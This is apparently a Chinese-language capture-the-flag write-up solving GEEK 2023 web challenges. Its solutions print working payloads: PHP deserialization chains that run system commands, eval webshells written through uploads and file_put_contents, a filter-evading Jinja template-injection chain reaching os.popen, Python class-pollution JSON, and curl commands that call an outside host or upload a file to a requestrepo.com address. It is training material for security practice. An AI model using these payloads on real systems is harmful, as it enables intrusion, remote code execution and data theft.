文章目录
EzHttp
按照提示POST传参
发现密码错误
F12找到hint,提示./robots.txt
访问一下,得到密码
然后就是http请求的基础知识
抓包修改
最后就是
我们直接添加请求头O2TAKUXX: GiveMeFlag
得到flag
unsign
源码
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}
?>
pop链
syc.__destruct -> lover.__invoke() -> web.__get()
exp
<?php
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $QW;
}
class web
{
public $eva1;
public $interesting;
}
$a=new syc();
$b=new lover();
$c=new web();
$a->cuit=$b;
$b->yxx=$c;
$c->eva1='system';
$c->interesting='cat /flag';
echo serialize($a);
?>
得到flag
n00b_Upload
题目对文件名没有检测,后缀可以为php
然后检测MIME类型,我们只需要修改为image/jpeg
即可
文件内容一句话木马会被检测,要修改为短标签
创建1.php
,写入
<?=@eval($_POST['shell']);?>
bp抓包修改MIME,上传成功
访问,命令执行得到flag
easy_php
考点:换行绕过,intval函数绕过,sha1绕过,php解析特性
源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
分析一下
利用换行符%0a绕过preg_match()函数;数组绕过sha1;利用科学计数法绕过intval函数;最后是php解析特性[
会被解析成下划线
得到flag
EzRce
考点:异或绕过、无参RCE
源码如下
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
eval($data);
}else{
echo "no!";
}
?>
题目过滤了字母数字,应该是无参rce,不过eval没被过滤
用异或绕过,构造如下
eval(next(getallheaders()));
发现权限不够,那么我们写马蚁剑连接
file_put_contents('shell.php','<?php eval($_POST[1]);?>');
我们查看下权限,发现只有r
然后就是find命令查找能用的,发现有find命令,得到flag
ezpython
考点:python原型链污染
源码
import json
import os
from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string
app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User):
def __init__(self):
self.username=""
self.password=""
registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")
@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")
首先定义了user类,包括三个属性,其中isvip值为false,子类hhh继承user类,只有两个属性;接着就是/register
路由,发现实例化的是hhh(),也就是无法改变isvip的值,然后调用merge方法;/login
路由实现登录功能;然后看向关键的/flag
路由,会检测user.isvip是否为真,接收参数num进行if判断返回flag;最后发现有merge方法说明原型链污染
我们用postman发送如下json数据
(__base__
是为了指向父类user的isvip从而污染)
{
"username":"1",
"password":"1",
"__class__":{
"__base__":{
"isvip":true
}
}
}
(后面参考其他师傅博客发现直接污染也行不需要用魔术方法)
发现有过滤,直接Unicode编码
{
"username":"1",
"password":"1",
"__class__":{
"__base__":{
"isvi\u0070":true
}
}
}
登录进去之后,看九幽玄天神功已经是要你传参了
直接+123456789
绕过
ezrfi
考点:filterchain攻击
打开题目,提示hint.py
测试了一会发现文件包含会拼接.py
后缀
然后一步步解密,先base64发现是尊嘟假嘟
继续解密后发现是rc4加密,用密钥Syclover
很明显的要用filterchain绕过
(注意构造的命令长度需要是3的倍数,防止base64编码出错,长度不够就手动添加a)
查询跟目录
得到flag
klf_2
考点:ssti
打开题目,提示有secret
访问./robots.txt
继续访问,然后参数是klf
我们尝试注入一下
bp抓包,fuzz测试一下,过滤了很多
采用join拼接绕过
payload如下
{% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(bas=a,e=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set l=dict(l=a,s=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set re=dict(re=a,ad=a)|join()%}
{% set ca=dict(ca=a,t=a)|join()%}
{% set ap=dict(ap=a,p=a)|join()%}
{% set fl=dict(f=a,l=a)|join()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set sz=(l,chhr(32),chhr(47),ap,chhr(47))|join()%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set cmd=pp(sz)|attr(re)()%}
{{cmd}}
ls /app/
查看一下目录
klf_3
klf_2的payload还能用
klf_ssti
什么都无回显,试试curl命令
payload
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 192.168.132.128:1028').read()}}
ctf_curl
源码
考点是无回显RCE,利用http 信道 带出文件内容
payload
?addr=b8ck2b5b.requestrepo.com -T /tmp/Syclover
ez_remove
考点:十六进制绕过、GC回收机制
源码
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>
看到有抛出异常,那么我们需要提前触发destruct方法
这里用GC回收机制,exp如下
<?php
class syc{
public $lover;
}
$a=new syc();
$a->lover='phpinfo();';
$A=array($a,null);
echo serialize($A);
得到字符串
a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}i:1;N;}
然后将1改为0
a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}i:0;N;}
由于过滤了lover,我们用十六进制绕过
a:2:{i:0;O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";}i:0;N;}
//表示字符类型的s大写为S时,会被当成16进制解析
然后发现题目过滤命令执行函数,可以写马
a:2:{i:0;O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";}i:0;N;}
然后蚁剑连接即可